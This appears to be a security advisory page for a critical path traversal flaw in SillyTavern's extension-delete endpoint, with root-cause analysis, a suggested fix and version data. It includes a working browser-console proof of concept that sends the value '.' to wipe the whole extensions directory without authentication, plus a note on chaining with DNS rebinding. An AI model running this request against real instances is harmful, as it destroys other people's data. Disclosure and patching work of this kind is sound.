Crítica

SillyTavern has a Path Traversal issue

  • Publicada: 12.05.2026
  • Actualizado: 11.10.2026 10:22

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

js
// [1] "." is truthy — passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

js
async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []

Impact

  • No authentication required (basicAuthMode: false by default).
    Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.
  • All installed third-party extensions are unrecoverably lost.
  • With global: true and admin privileges, the global extensions directory shared across all users can also be deleted.
  • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website.

Same Pattern in Other Endpoints

The same vulnerability exists in:

  • POST /api/extensions/update
  • POST /api/extensions/version
  • POST /api/extensions/branches
  • POST /api/extensions/switch

Suggested Fix

js
const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
  • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
  • Related CVE (same project): CVE-2025-59159

##REPORTED BY Jormungandr

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm sillytavern < 1.18.0 1.18.0

Referencias

Puntuación CVSS 9.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Debilidad (CWE)
CWE-22
Plataforma
npm
Paquete
sillytavern
Publicada
12.05.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-886q-f44j-h6wh - CC BY 4.0

Historial de vulnerabilidades: sillytavern

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (11) en el archivo
Entradas en total
11
Primera → última
10.2025 05.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 3
  • Alta 4
  • Media 4

Divulgaciones por año

  1. 2025: 1
  2. 2026: 10
Gravedad:
  1. Alta · 8.5 CVE-2026-46372 < 1.18.0 1.18.0
  2. SillyTavern has a Path Traversal issue esta entrada
    Crítica · 9.1 CVE-2026-44650 < 1.18.0 1.18.0
  3. Crítica · 9.8 CVE-2026-44649 < 1.18.0 1.18.0
  4. Crítica · 9.6 CVE-2025-59159 < 1.13.4 1.13.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.